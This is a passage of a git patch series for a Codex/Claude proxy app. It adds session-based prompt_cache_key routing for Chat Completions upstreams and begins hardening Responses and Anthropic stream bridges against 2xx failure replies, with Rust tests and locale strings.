Jason Date: Sat, 11 Jul 2026 21:42:43 +0800 Subject: [PATCH 55/73] feat(proxy): session-based prompt_cache_key routing for Codex Chat bridge Codex always sends prompt_cache_key in its Responses requests, but the Responses -> Chat Completions conversion dropped it, breaking session cache affinity on upstreams that route by key (e.g. Kimi Coding). - Re-inject prompt_cache_key after conversion in the forwarder: an explicit client key wins, otherwise a client-provided session ID; generated per-request UUIDs are never sent upstream. - Provider-aware gating: "auto" enables only known-compatible upstreams (api.openai.com, api.kimi.com/coding) because strict gateways reject unknown fields with HTTP 400 (e.g. Fireworks); an advanced Auto/Enabled/Disabled override is available on the Codex form in all four locales. - Kimi For Coding preset opts in explicitly. --- CHANGELOG.md | 1 + src-tauri/src/provider.rs | 4 + src-tauri/src/proxy/forwarder.rs | 16 +- src-tauri/src/proxy/providers/codex.rs | 169 ++++++++++++++++++ src-tauri/src/proxy/providers/mod.rs | 5 +- .../providers/forms/CodexFormFields.tsx | 49 +++++ .../providers/forms/ProviderForm.tsx | 18 ++ src/config/codexProviderPresets.ts | 4 + src/i18n/locales/en.json | 5 + src/i18n/locales/ja.json | 5 + src/i18n/locales/zh-TW.json | 5 + src/i18n/locales/zh.json | 5 + src/types.ts | 5 + tests/config/codexChatProviderPresets.test.ts | 8 + 14 files changed, 295 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 12c1d2cfe..7bc54d941 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,7 @@ Development since v3.16.4 reworks the Codex native-Responses path — restoring ### Changed +- **Codex Chat Prompt-Cache Routing**: Added provider-aware `prompt_cache_key` injection on the Codex Responses→Chat Completions bridge. Kimi Coding and OpenAI official endpoints are enabled automatically, Kimi's preset opts in explicitly, and unknown OpenAI-compatible gateways remain off to avoid strict-schema 400s. The key is taken from an explicit client value or a real client-provided session ID—never a generated per-request UUID—with an advanced Auto/Enabled/Disabled override in all four UI locales. - **Provider Connectivity Configuration Simplified**: Removed the obsolete per-provider `testConfig` override (timeout, retry count, and degraded-latency threshold) from provider forms, frontend/backend provider metadata, and reachability-check merging. The lightweight `base_url` probe now always uses the single global connectivity-check configuration, while automatic failover remains driven exclusively by its separate proxy timeout and circuit-breaker settings. Also renamed the remaining settings UI and API modules from model-test terminology to connectivity-check terminology, removed the retired first-use confirmation flag, and deleted stale model/prompt/error copy across all four locales. - **Decoupled Codex Model Mapping From the Local-Routing Toggle**: Aligns the Codex provider form with Claude Code — the model-mapping catalog is now independent of route takeover, since native Responses providers (MiMo, Doubao, MiniMax) need it for proxy-less direct connect while Chat providers use the proxy regardless of any per-provider flag. The "Needs Local Routing" toggle is removed: it had no backend field and only gated catalog/reasoning persistence, which is equivalent to whether the mapping is filled. Model mapping is now always shown for non-official providers and persisted whenever the list is non-empty (the backend already keys off `modelCatalog.models`), while reasoning visibility/persistence is gated on the Chat format instead of the toggle. The Chat upstream-format option is marked "routing required" with a refreshed advanced-section hint across all four locales (zh/en/ja/zh-TW), dead `localRouting*` keys are dropped, and the model-mapping block moves above the custom User-Agent block. Also fixes `useCodexConfigState` dropping `supportsParallelToolCalls`/`inputModalities`/`baseInstructions` when loading a saved provider — which silently lost parallel tools, image input, and the official base instructions on edit — by preserving them on load (camelCase and snake_case) and comparing them in the row sync. - **Auto-Sync Claude Common Config From Live settings.json on Switch**: When switching away from a Claude provider that has `common_config_enabled`, the service now re-extracts the shareable portion of its live `settings.json` and replaces the stored common-config snippet, instead of only writing the snippet one way. This captures config the user added directly in the running app (`enabledPlugins`, `hooks`, `env`, `theme`, shared prefs) so it isn't silently lost on the next switch, and it propagates deletions so a removed key isn't re-injected later. The sync in `services/provider/mod.rs` is scoped strictly to Claude providers with `common_config_enabled`, is skipped when the snippet was explicitly cleared, and all failures are non-fatal (warn-only) and never block the switch. Four integration tests cover capture / delete-sync / opt-out / cleared. diff --git a/src-tauri/src/provider.rs b/src-tauri/src/provider.rs index 7056cb820..4ce3c37d8 100644 --- a/src-tauri/src/provider.rs +++ b/src-tauri/src/provider.rs @@ -457,6 +457,10 @@ pub struct ProviderMeta { /// identity when available; generated session IDs are not sent upstream. #[serde(rename = "promptCacheKey", skip_serializing_if = "Option::is_none")] pub prompt_cache_key: Option, + /// Session-based prompt-cache routing for Codex Responses -> Chat conversions. + /// "auto" enables known-compatible upstreams; "enabled" / "disabled" are overrides. + #[serde(rename = "promptCacheRouting", skip_serializing_if = "Option::is_none")] + pub prompt_cache_routing: Option, /// Codex OAuth FAST mode: inject `service_tier = "priority"` for ChatGPT Codex requests. #[serde(rename = "codexFastMode", skip_serializing_if = "Option::is_none")] pub codex_fast_mode: Option, diff --git a/src-tauri/src/proxy/forwarder.rs b/src-tauri/src/proxy/forwarder.rs index 5d62fed39..d61d928cf 100644 --- a/src-tauri/src/proxy/forwarder.rs +++ b/src-tauri/src/proxy/forwarder.rs @@ -1384,6 +1384,10 @@ impl RequestForwarder { // 转换请求体(如果需要) let mut request_body = if codex_responses_to_chat { let mut mapped_body = mapped_body; + let explicit_prompt_cache_key = mapped_body + .get("prompt_cache_key") + .and_then(|value| value.as_str()) + .map(ToString::to_string); let restored = self .codex_chat_history .enrich_request(&mut mapped_body) @@ -1396,10 +1400,18 @@ impl RequestForwarder { super::providers::apply_codex_chat_upstream_model(provider, &mut mapped_body); let reasoning_config = super::providers::resolve_codex_chat_reasoning_config(provider, &mapped_body); - super::providers::transform_codex_chat::responses_to_chat_completions_with_reasoning( + let mut chat_body = super::providers::transform_codex_chat::responses_to_chat_completions_with_reasoning( mapped_body, reasoning_config.as_ref(), - )? + )?; + super::providers::inject_codex_chat_prompt_cache_key( + provider, + &mut chat_body, + explicit_prompt_cache_key.as_deref(), + self.session_client_provided + .then_some(self.session_id.as_str()), + ); + chat_body } else if codex_responses_to_anthropic { let mut mapped_body = mapped_body; super::providers::apply_codex_upstream_model(provider, &mut mapped_body); diff --git a/src-tauri/src/proxy/providers/codex.rs b/src-tauri/src/proxy/providers/codex.rs index cf714bbb2..281d2968d 100644 --- a/src-tauri/src/proxy/providers/codex.rs +++ b/src-tauri/src/proxy/providers/codex.rs @@ -84,6 +84,81 @@ pub fn should_convert_codex_responses_to_chat(provider: &Provider, endpoint: &st ) && codex_provider_uses_chat_completions(provider) } +/// Whether a converted Codex Responses request may send `prompt_cache_key` to +/// its Chat Completions upstream. Unknown OpenAI-compatible gateways default to +/// false because many reject unsupported request fields with HTTP 400. +pub fn should_send_codex_chat_prompt_cache_key(provider: &Provider) -> bool { + match provider + .meta + .as_ref() + .and_then(|meta| meta.prompt_cache_routing.as_deref()) + .unwrap_or("auto") + { + "enabled" => return true, + "disabled" => return false, + _ => {} + } + + let base_url = provider + .settings_config + .get("base_url") + .or_else(|| provider.settings_config.get("baseURL")) + .and_then(|value| value.as_str()) + .map(ToString::to_string) + .or_else(|| { + provider + .settings_config + .get("config") + .and_then(|value| value.as_str()) + .and_then(extract_codex_base_url_from_toml) + }); + + let Some(base_url) = base_url else { + return false; + }; + let Ok(url) = url::Url::parse(&base_url) else { + return false; + }; + + match url.host_str() { + Some("api.openai.com") => true, + Some("api.kimi.com") => { + let path = url.path().trim_end_matches('/'); + path == "/coding" || path.starts_with("/coding/") + } + _ => false, + } +} + +/// Add a stable cache-routing key after Responses -> Chat conversion. An +/// explicit client key wins; otherwise only a real client-provided session ID +/// is eligible. Generated per-request UUIDs must never be used here. +pub fn inject_codex_chat_prompt_cache_key( + provider: &Provider, + chat_body: &mut JsonValue, + explicit_key: Option<&str>, + client_session_id: Option<&str>, +) -> bool { + if !should_send_codex_chat_prompt_cache_key(provider) { + return false; + } + + let key = explicit_key + .map(str::trim) + .filter(|key| !key.is_empty()) + .or_else(|| { + client_session_id + .map(str::trim) + .filter(|session_id| !session_id.is_empty()) + }); + let Some(key) = key else { + return false; + }; + + chat_body["prompt_cache_key"] = JsonValue::String(key.to_string()); + true +} + /// Whether this Codex provider's real upstream speaks the native Anthropic /// Messages protocol (`/v1/messages`). The local Codex client always talks to CC /// Switch through the Responses API, so CC Switch bridges Responses ⇄ Anthropic. @@ -706,6 +781,100 @@ mod tests { } } + #[test] + fn prompt_cache_routing_auto_enables_known_upstreams_only() { + let kimi = create_provider(json!({ + "config": r#" +model_provider = "custom" +[model_providers.custom] +base_url = "https://api.kimi.com/coding/v1" +wire_api = "responses" +"# + })); + let openai = create_provider(json!({ + "base_url": "https://api.openai.com/v1" + })); + let unknown = create_provider(json!({ + "base_url": "https://strict.example.com/v1" + })); + + assert!(should_send_codex_chat_prompt_cache_key(&kimi)); + assert!(should_send_codex_chat_prompt_cache_key(&openai)); + assert!(!should_send_codex_chat_prompt_cache_key(&unknown)); + } + + #[test] + fn prompt_cache_routing_user_override_wins_over_auto_detection() { + let mut kimi = create_provider(json!({ + "base_url": "https://api.kimi.com/coding/v1" + })); + kimi.meta = Some(crate::provider::ProviderMeta { + prompt_cache_routing: Some("disabled".to_string()), + ..Default::default() + }); + assert!(!should_send_codex_chat_prompt_cache_key(&kimi)); + + let mut unknown = create_provider(json!({ + "base_url": "https://strict.example.com/v1" + })); + unknown.meta = Some(crate::provider::ProviderMeta { + prompt_cache_routing: Some("enabled".to_string()), + ..Default::default() + }); + assert!(should_send_codex_chat_prompt_cache_key(&unknown)); + } + + #[test] + fn prompt_cache_key_prefers_explicit_key_then_real_session() { + let provider = create_provider(json!({ + "base_url": "https://api.kimi.com/coding/v1" + })); + let mut explicit_body = json!({ "model": "kimi-for-coding" }); + assert!(inject_codex_chat_prompt_cache_key( + &provider, + &mut explicit_body, + Some("request-key"), + Some("session-key"), + )); + assert_eq!(explicit_body["prompt_cache_key"], "request-key"); + + let mut session_body = json!({ "model": "kimi-for-coding" }); + assert!(inject_codex_chat_prompt_cache_key( + &provider, + &mut session_body, + None, + Some("session-key"), + )); + assert_eq!(session_body["prompt_cache_key"], "session-key"); + } + + #[test] + fn prompt_cache_key_is_not_injected_without_real_session_or_support() { + let kimi = create_provider(json!({ + "base_url": "https://api.kimi.com/coding/v1" + })); + let mut no_session_body = json!({ "model": "kimi-for-coding" }); + assert!(!inject_codex_chat_prompt_cache_key( + &kimi, + &mut no_session_body, + None, + None, + )); + assert!(no_session_body.get("prompt_cache_key").is_none()); + + let unknown = create_provider(json!({ + "base_url": "https://strict.example.com/v1" + })); + let mut unsupported_body = json!({ "model": "other" }); + assert!(!inject_codex_chat_prompt_cache_key( + &unknown, + &mut unsupported_body, + Some("request-key"), + Some("session-key"), + )); + assert!(unsupported_body.get("prompt_cache_key").is_none()); + } + #[test] fn test_extract_base_url_direct() { let adapter = CodexAdapter::new(); diff --git a/src-tauri/src/proxy/providers/mod.rs b/src-tauri/src/proxy/providers/mod.rs index 2684da481..cbd2eac2b 100644 --- a/src-tauri/src/proxy/providers/mod.rs +++ b/src-tauri/src/proxy/providers/mod.rs @@ -52,8 +52,9 @@ pub use claude::{ pub use codex::CodexAdapter; pub use codex::{ apply_codex_chat_upstream_model, apply_codex_upstream_model, codex_provider_upstream_model, - resolve_codex_catalog_tool_profile, resolve_codex_chat_reasoning_config, - should_convert_codex_responses_to_anthropic, should_convert_codex_responses_to_chat, + inject_codex_chat_prompt_cache_key, resolve_codex_catalog_tool_profile, + resolve_codex_chat_reasoning_config, should_convert_codex_responses_to_anthropic, + should_convert_codex_responses_to_chat, }; pub use gemini::GeminiAdapter; diff --git a/src/components/providers/forms/CodexFormFields.tsx b/src/components/providers/forms/CodexFormFields.tsx index 8cea0d88a..b6c612b02 100644 --- a/src/components/providers/forms/CodexFormFields.tsx +++ b/src/components/providers/forms/CodexFormFields.tsx @@ -40,6 +40,7 @@ import type { CodexApiFormat, CodexCatalogModel, CodexChatReasoning, + PromptCacheRoutingMode, ProviderCategory, } from "@/types"; @@ -89,6 +90,8 @@ interface CodexFormFieldsProps { onMaxOutputTokensChange: (value: string) => void; codexChatReasoning?: CodexChatReasoning; onCodexChatReasoningChange?: (value: CodexChatReasoning) => void; + promptCacheRouting: PromptCacheRoutingMode; + onPromptCacheRoutingChange: (value: PromptCacheRoutingMode) => void; // Model Catalog catalogModels?: CodexCatalogModel[]; @@ -182,6 +185,8 @@ export function CodexFormFields({ onMaxOutputTokensChange, codexChatReasoning = {}, onCodexChatReasoningChange, + promptCacheRouting, + onPromptCacheRoutingChange, catalogModels = [], onCatalogModelsChange, speedTestEndpoints, @@ -229,6 +234,7 @@ export function CodexFormFields({ isAnthropicFormat || supportsThinking || supportsEffort || + promptCacheRouting !== "auto" || !!maxOutputTokens; const [advancedExpanded, setAdvancedExpanded] = useState(hasAnyAdvancedValue); @@ -716,6 +722,49 @@ export function CodexFormFields({ shouldShowSpeedTest && "border-t border-border-default pt-3", )} > +
+ + {t("codexConfig.promptCacheRoutingLabel", { + defaultValue: "提示词缓存路由", + })} + + +

+ {t("codexConfig.promptCacheRoutingHint", { + defaultValue: + "自动模式仅对已确认兼容的上游发送 prompt_cache_key;开启可用于其他兼容网关,关闭可避免严格网关因未知字段返回 400。只使用客户端提供的稳定会话 ID。", + })} +

+
+
{t("codexConfig.reasoningGroupTitle", { diff --git a/src/components/providers/forms/ProviderForm.tsx b/src/components/providers/forms/ProviderForm.tsx index 3cbceb9ab..75130ecbe 100644 --- a/src/components/providers/forms/ProviderForm.tsx +++ b/src/components/providers/forms/ProviderForm.tsx @@ -21,6 +21,7 @@ import type { CodexApiFormat, CodexCatalogModel, CodexChatReasoning, + PromptCacheRoutingMode, ClaudeApiKeyField, } from "@/types"; import { @@ -357,6 +358,7 @@ function ProviderFormFull({ ), }); setCodexChatReasoning(initialData?.meta?.codexChatReasoning ?? {}); + setPromptCacheRouting(initialData?.meta?.promptCacheRouting ?? "auto"); setCustomUserAgent(initialData?.meta?.customUserAgent ?? ""); setLocalProxyHeadersOverride( formatRequestOverrideObject( @@ -529,6 +531,10 @@ function ProviderFormFull({ useState( () => initialData?.meta?.codexChatReasoning ?? {}, ); + const [promptCacheRouting, setPromptCacheRouting] = + useState( + () => initialData?.meta?.promptCacheRouting ?? "auto", + ); const [customUserAgent, setCustomUserAgent] = useState( () => initialData?.meta?.customUserAgent ?? "", ); @@ -632,6 +638,7 @@ function ProviderFormFull({ const template = getCodexCustomTemplate(); resetCodexConfig(template.auth, template.config); setCodexChatReasoning({}); + setPromptCacheRouting("auto"); } }, [appId, initialData, selectedPresetId, resetCodexConfig]); @@ -1485,6 +1492,13 @@ function ProviderFormFull({ localCodexApiFormat === "openai_chat" ? normalizeCodexChatReasoningForSave(codexChatReasoning) : undefined, + promptCacheRouting: + appId === "codex" && + category !== "official" && + localCodexApiFormat === "openai_chat" && + promptCacheRouting !== "auto" + ? promptCacheRouting + : undefined, customUserAgent: (appId === "claude" || appId === "codex") && category !== "official" ? customUserAgent.trim() || undefined @@ -1651,6 +1665,7 @@ function ProviderFormFull({ const template = getCodexCustomTemplate(); resetCodexConfig(template.auth, template.config); setCodexChatReasoning({}); + setPromptCacheRouting("auto"); setLocalCodexApiFormat( codexApiFormatFromWireApi(extractCodexWireApi(template.config)) ?? "openai_responses", @@ -1692,6 +1707,7 @@ function ProviderFormFull({ resetCodexConfig(auth, config, preset.modelCatalog ?? []); setCodexChatReasoning(preset.codexChatReasoning ?? {}); + setPromptCacheRouting(preset.promptCacheRouting ?? "auto"); setLocalCodexApiFormat( preset.apiFormat ?? codexApiFormatFromWireApi(extractCodexWireApi(config)) ?? @@ -2182,6 +2198,8 @@ function ProviderFormFull({ onMaxOutputTokensChange={setLocalCodexMaxOutputTokens} codexChatReasoning={codexChatReasoning} onCodexChatReasoningChange={setCodexChatReasoning} + promptCacheRouting={promptCacheRouting} + onPromptCacheRoutingChange={setPromptCacheRouting} catalogModels={codexCatalogModels} onCatalogModelsChange={setCodexCatalogModels} speedTestEndpoints={speedTestEndpoints} diff --git a/src/config/codexProviderPresets.ts b/src/config/codexProviderPresets.ts index bb82c56a9..f116353ce 100644 --- a/src/config/codexProviderPresets.ts +++ b/src/config/codexProviderPresets.ts @@ -6,6 +6,7 @@ import type { CodexApiFormat, CodexCatalogModel, CodexChatReasoning, + PromptCacheRoutingMode, } from "../types"; import type { PresetTheme } from "./claudeProviderPresets"; @@ -36,6 +37,8 @@ export interface CodexProviderPreset { modelCatalog?: CodexCatalogModel[]; // Codex Responses -> Chat Completions reasoning capability defaults codexChatReasoning?: CodexChatReasoning; + // Session-based prompt-cache routing override for Chat Completions upstreams + promptCacheRouting?: PromptCacheRoutingMode; } /** @@ -604,6 +607,7 @@ requires_openai_auth = true`, ), endpointCandidates: ["https://api.kimi.com/coding/v1"], apiFormat: "openai_chat", + promptCacheRouting: "enabled", modelCatalog: modelCatalog([ { model: "kimi-for-coding", diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 5da83962c..316291d40 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1284,6 +1284,11 @@ "maxOutputTokensLabel": "Max output tokens", "maxOutputTokensPlaceholder": "Leave empty to use the default 8192", "maxOutputTokensHint": "Codex does not forward model_max_output_tokens in the request body, so the default 8192 ceiling can truncate long or thinking-heavy responses (stop_reason=max_tokens). This value overrides the request's max_tokens on the Anthropic path. Do not exceed the real output ceiling of the model/gateway or it may 400. Leave empty to use the default 8192.", + "promptCacheRoutingLabel": "Prompt cache routing", + "promptCacheRoutingAuto": "Auto (recommended)", + "promptCacheRoutingEnabled": "Enabled", + "promptCacheRoutingDisabled": "Disabled", + "promptCacheRoutingHint": "Auto sends prompt_cache_key only to known-compatible upstreams. Enable it for other compatible gateways, or disable it if a strict gateway rejects unknown fields with HTTP 400. Only a stable client-provided session ID is used.", "upstreamModelName": "Upstream Model Name", "upstreamModelNameHint": "For Chat format, enter the real upstream model here; routing converts Codex Responses requests to Chat Completions while keeping this model.", "modelNamePlaceholder": "e.g., gpt-5-codex", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 0d606b7c6..f639b7bf9 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1284,6 +1284,11 @@ "maxOutputTokensLabel": "最大出力トークン", "maxOutputTokensPlaceholder": "空欄の場合はデフォルトの 8192 を使用", "maxOutputTokensHint": "Codex は model_max_output_tokens をリクエストボディに含めないため、デフォルト上限 8192 では長い回答や深い思考時に切り詰められることがあります(stop_reason=max_tokens)。この値は Anthropic 経路で max_tokens を上書きします。モデル/ゲートウェイの実際の出力上限を超えると 400 になる場合があります。空欄でデフォルトの 8192 を使用します。", + "promptCacheRoutingLabel": "プロンプトキャッシュルーティング", + "promptCacheRoutingAuto": "自動(推奨)", + "promptCacheRoutingEnabled": "有効", + "promptCacheRoutingDisabled": "無効", + "promptCacheRoutingHint": "自動モードでは、互換性を確認済みの上流にのみ prompt_cache_key を送信します。他の互換ゲートウェイでは有効にし、未知のフィールドを 400 で拒否する厳格なゲートウェイでは無効にしてください。クライアントが提供した安定したセッション ID のみを使用します。", "upstreamModelName": "上流モデル名", "upstreamModelNameHint": "Chat 形式ではここに実際の上流モデルを入力します。ルーティングで Codex の Responses リクエストを Chat Completions に変換し、このモデルを維持します。", "modelNamePlaceholder": "例: gpt-5-codex", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index cecf1f6a2..2d0a19d4d 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1261,6 +1261,11 @@ "maxOutputTokensLabel": "最大輸出 tokens", "maxOutputTokensPlaceholder": "留空則使用預設 8192", "maxOutputTokensHint": "Codex 不會把 model_max_output_tokens 寫進請求體,預設上限 8192 容易在長回答或深度思考時被截斷(stop_reason=max_tokens)。此處設定會作為 Anthropic 的 max_tokens 覆蓋請求值。請勿超過該模型/閘道的真實輸出上限,否則可能 400。留空使用預設 8192。", + "promptCacheRoutingLabel": "提示詞快取路由", + "promptCacheRoutingAuto": "自動(建議)", + "promptCacheRoutingEnabled": "開啟", + "promptCacheRoutingDisabled": "關閉", + "promptCacheRoutingHint": "自動模式僅對已確認相容的上游傳送 prompt_cache_key;開啟可用於其他相容閘道,關閉可避免嚴格閘道因未知欄位回傳 400。只使用客戶端提供的穩定工作階段 ID。", "defaultModelLabel": "預設模型", "defaultModelPlaceholder": "例如: gpt-5.6", "defaultModelHint": "Codex 預設請求的模型,隨時可改,無需等待軟體更新供應商範本。留空且設定了模型映射時,預設使用映射第一行。", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index f2c842867..427b7dc7a 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1284,6 +1284,11 @@ "maxOutputTokensLabel": "最大输出 tokens", "maxOutputTokensPlaceholder": "留空则使用默认 8192", "maxOutputTokensHint": "Codex 不会把 model_max_output_tokens 写进请求体,默认上限 8192 容易在长回答或深度思考时被截断(stop_reason=max_tokens)。此处设置会作为 Anthropic 的 max_tokens 覆盖请求值。请勿超过该模型/网关的真实输出上限,否则可能 400。留空使用默认 8192。", + "promptCacheRoutingLabel": "提示词缓存路由", + "promptCacheRoutingAuto": "自动(推荐)", + "promptCacheRoutingEnabled": "开启", + "promptCacheRoutingDisabled": "关闭", + "promptCacheRoutingHint": "自动模式仅对已确认兼容的上游发送 prompt_cache_key;开启可用于其他兼容网关,关闭可避免严格网关因未知字段返回 400。只使用客户端提供的稳定会话 ID。", "upstreamModelName": "上游模型名称", "upstreamModelNameHint": "Chat 格式下这里填写真实上游模型;路由会把 Codex 的 Responses 请求转换为 Chat Completions 并保持该模型。", "modelNamePlaceholder": "例如: gpt-5-codex", diff --git a/src/types.ts b/src/types.ts index 49c72fbad..0f9eccb50 100644 --- a/src/types.ts +++ b/src/types.ts @@ -161,6 +161,8 @@ export interface CodexChatReasoning { outputFormat?: CodexChatReasoningOutputFormat; } +export type PromptCacheRoutingMode = "auto" | "enabled" | "disabled"; + export interface LocalProxyRequestOverrides { headers?: Record; body?: Record; @@ -206,6 +208,9 @@ export interface ProviderMeta { isFullUrl?: boolean; // Prompt cache key for OpenAI Responses-compatible endpoints (improves cache hit rate) promptCacheKey?: string; + // Session-based prompt-cache routing for Codex Responses -> Chat conversions. + // auto enables only for known-compatible upstreams; enabled/disabled are user overrides. + promptCacheRouting?: PromptCacheRoutingMode; // Codex OAuth FAST mode: injects service_tier="priority" on ChatGPT Codex requests codexFastMode?: boolean; // Codex Responses -> Chat Completions reasoning capability metadata diff --git a/tests/config/codexChatProviderPresets.test.ts b/tests/config/codexChatProviderPresets.test.ts index a4499e551..e29988a43 100644 --- a/tests/config/codexChatProviderPresets.test.ts +++ b/tests/config/codexChatProviderPresets.test.ts @@ -129,6 +129,14 @@ const expectedChatPresets = new Map< ]); describe("Codex Chat provider presets", () => { + it("enables session-based prompt cache routing for Kimi Coding", () => { + const preset = codexProviderPresets.find( + (item) => item.name === "Kimi For Coding", + ); + + expect(preset?.promptCacheRouting).toBe("enabled"); + }); + it("marks migrated Chat Completions presets for local routing", () => { for (const [name, expected] of expectedChatPresets) { const preset = codexProviderPresets.find((item) => item.name === name); From 650905af2c72ace22aa743f9c4608ea0ba6f495b Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 12:19:21 +0800 Subject: [PATCH 56/73] fix(proxy): harden Responses and Anthropic protocol bridges Fail closed on HTTP 2xx failure envelopes and pre-output SSE failures so semantic upstream errors can trigger failover instead of becoming empty successful replies. Finalize incomplete and truncated streams explicitly, handle clean EOF and whole JSON responses, and keep tool-call stop reasons and terminal event ordering consistent. Preserve structured tool results, URL images, documents, system roles, and signed thinking across both conversion directions. Drop incomplete historical tool calls safely and classify malformed completed arguments as non-retryable client requests. Keep Codex-to-Anthropic prompt caching enabled by default while honoring the dedicated cache-injection switch. --- src-tauri/src/proxy/forwarder.rs | 400 +++++++++++- .../providers/streaming_codex_anthropic.rs | 56 +- .../proxy/providers/streaming_responses.rs | 570 +++++++++++++++++- .../providers/transform_codex_anthropic.rs | 367 +++++++++-- .../proxy/providers/transform_responses.rs | 285 ++++++++- 5 files changed, 1595 insertions(+), 83 deletions(-) diff --git a/src-tauri/src/proxy/forwarder.rs b/src-tauri/src/proxy/forwarder.rs index d61d928cf..c5accf283 100644 --- a/src-tauri/src/proxy/forwarder.rs +++ b/src-tauri/src/proxy/forwarder.rs @@ -29,6 +29,7 @@ use crate::{ app_config::AppType, provider::{LocalProxyRequestOverrides, Provider}, }; +use bytes::Bytes; use futures::StreamExt; use http::Extensions; use serde_json::Value; @@ -1465,12 +1466,7 @@ impl RequestForwarder { // string→array `system` conversion and the new-breakpoint budget. super::cache_injector::inject( &mut anthropic_body, - &super::types::OptimizerConfig { - enabled: true, - thinking_optimizer: false, - cache_injection: true, - cache_ttl: self.optimizer_config.cache_ttl.clone(), - }, + &codex_anthropic_cache_config(&self.optimizer_config), ); anthropic_body } else if needs_transform { @@ -2150,6 +2146,21 @@ impl RequestForwarder { response = self .validate_codex_anthropic_success_response(response) .await?; + } else if matches!( + resolved_claude_api_format.as_deref(), + Some("openai_responses") + ) { + if !request_is_streaming || response.is_json() { + // Claude→Responses gateways can also return a semantic failure in an + // HTTP 2xx Response object. Validate buffered/JSON bodies inside the + // retry loop so an early failure can still select another provider. + response = self.validate_responses_success_response(response).await?; + } else { + // Delay committing the downstream stream until the upstream emits + // either productive output or a valid non-failure terminal event. + // A response.failed/error before output remains failover-safe. + response = self.validate_responses_stream_start(response).await?; + } } Ok((response, resolved_claude_api_format, outbound_model)) } else { @@ -2236,6 +2247,113 @@ impl RequestForwarder { Ok(ProxyResponse::buffered(status, headers, raw)) } + async fn validate_responses_success_response( + &self, + response: ProxyResponse, + ) -> Result { + let status = response.status(); + let headers = response.headers().clone(); + let encoding = get_content_encoding(&headers); + let raw = response.bytes().await?; + let decoded = match encoding { + Some(encoding) => match decompress_body(&encoding, &raw) { + Ok(Some(decompressed)) => decompressed, + _ => raw.to_vec(), + }, + None => raw.to_vec(), + }; + + if let Some(message) = responses_error_envelope_message(&decoded) { + return Err(ProxyError::TransformError(format!( + "Responses upstream returned a 2xx failure: {message}" + ))); + } + + Ok(ProxyResponse::buffered(status, headers, raw)) + } + + async fn validate_responses_stream_start( + &self, + response: ProxyResponse, + ) -> Result { + const MAX_PRIME_BYTES: usize = 256 * 1024; + + let status = response.status(); + let headers = response.headers().clone(); + let mut stream = Box::pin(response.bytes_stream()); + let mut replay_chunks: Vec = Vec::new(); + let mut parse_buffer = String::new(); + let mut utf8_remainder = Vec::new(); + + loop { + let next = if self.streaming_first_byte_timeout.is_zero() { + stream.next().await + } else { + tokio::time::timeout(self.streaming_first_byte_timeout, stream.next()) + .await + .map_err(|_| { + ProxyError::Timeout(format!( + "Responses stream produced no semantic output within {}s", + self.streaming_first_byte_timeout.as_secs() + )) + })? + }; + + let Some(chunk) = next else { + if let Some(outcome) = inspect_responses_json_document(&parse_buffer) { + outcome?; + let replay = futures::stream::iter(replay_chunks.into_iter().map(Ok)); + return Ok(ProxyResponse::streamed(status, headers, replay)); + } + if !parse_buffer.trim().is_empty() { + if let Some(outcome) = inspect_responses_start_event(parse_buffer.trim()) { + outcome?; + let replay = futures::stream::iter(replay_chunks.into_iter().map(Ok)); + return Ok(ProxyResponse::streamed(status, headers, replay)); + } + } + return Err(ProxyError::ForwardFailed( + "Responses stream ended before producing output or a terminal event" + .to_string(), + )); + }; + let chunk = chunk.map_err(|error| { + ProxyError::ForwardFailed(format!( + "Failed while validating Responses stream start: {error}" + )) + })?; + crate::proxy::sse::append_utf8_safe(&mut parse_buffer, &mut utf8_remainder, &chunk); + replay_chunks.push(chunk); + + // Some compatible gateways ignore `stream:true` and return a complete + // Responses JSON document without a JSON content-type. Recognize that + // shape before looking for SSE delimiters; pretty-printed JSON may itself + // contain blank lines and must stay intact. + if let Some(outcome) = inspect_responses_json_document(&parse_buffer) { + outcome?; + let replay = futures::stream::iter(replay_chunks.into_iter().map(Ok)).chain(stream); + return Ok(ProxyResponse::streamed(status, headers, replay)); + } + + while let Some(block) = crate::proxy::sse::take_sse_block(&mut parse_buffer) { + if let Some(outcome) = inspect_responses_start_event(&block) { + outcome?; + let replay = + futures::stream::iter(replay_chunks.into_iter().map(Ok)).chain(stream); + return Ok(ProxyResponse::streamed(status, headers, replay)); + } + } + + if replay_chunks.iter().map(Bytes::len).sum::() >= MAX_PRIME_BYTES { + log::warn!( + "[Claude/Responses] semantic stream priming exceeded {MAX_PRIME_BYTES} bytes; committing buffered stream" + ); + let replay = futures::stream::iter(replay_chunks.into_iter().map(Ok)).chain(stream); + return Ok(ProxyResponse::streamed(status, headers, replay)); + } + } + } + async fn prime_streaming_response( &self, response: ProxyResponse, @@ -2663,6 +2781,137 @@ fn codex_anthropic_error_envelope_message(body: &[u8]) -> Option { Some(format!("{error_type}: {message}")) } +fn responses_error_envelope_message(body: &[u8]) -> Option { + let value: Value = serde_json::from_slice(body).ok()?; + let status = value.get("status").and_then(Value::as_str); + let has_error = value.get("error").is_some_and(|error| !error.is_null()); + if !matches!(status, Some("failed" | "cancelled")) && !has_error { + return None; + } + + let error = value.get("error").unwrap_or(&value); + let error_type = error + .get("type") + .and_then(Value::as_str) + .or_else(|| error.get("code").and_then(Value::as_str)) + .unwrap_or_else(|| status.unwrap_or("error")); + let message = error + .get("message") + .and_then(Value::as_str) + .or_else(|| error.as_str()) + .filter(|message| !message.trim().is_empty()) + .unwrap_or(match status { + Some("cancelled") => "response generation was cancelled", + _ => "response generation failed", + }); + Some(format!("{error_type}: {message}")) +} + +/// Prompt caching is part of the Codex→Anthropic protocol bridge rather than an +/// optional Bedrock optimizer. Codex requests do not contain Anthropic +/// `cache_control`, so keep bridge caching on by default while still honoring the +/// dedicated cache-injection switch and configured TTL. +fn codex_anthropic_cache_config(config: 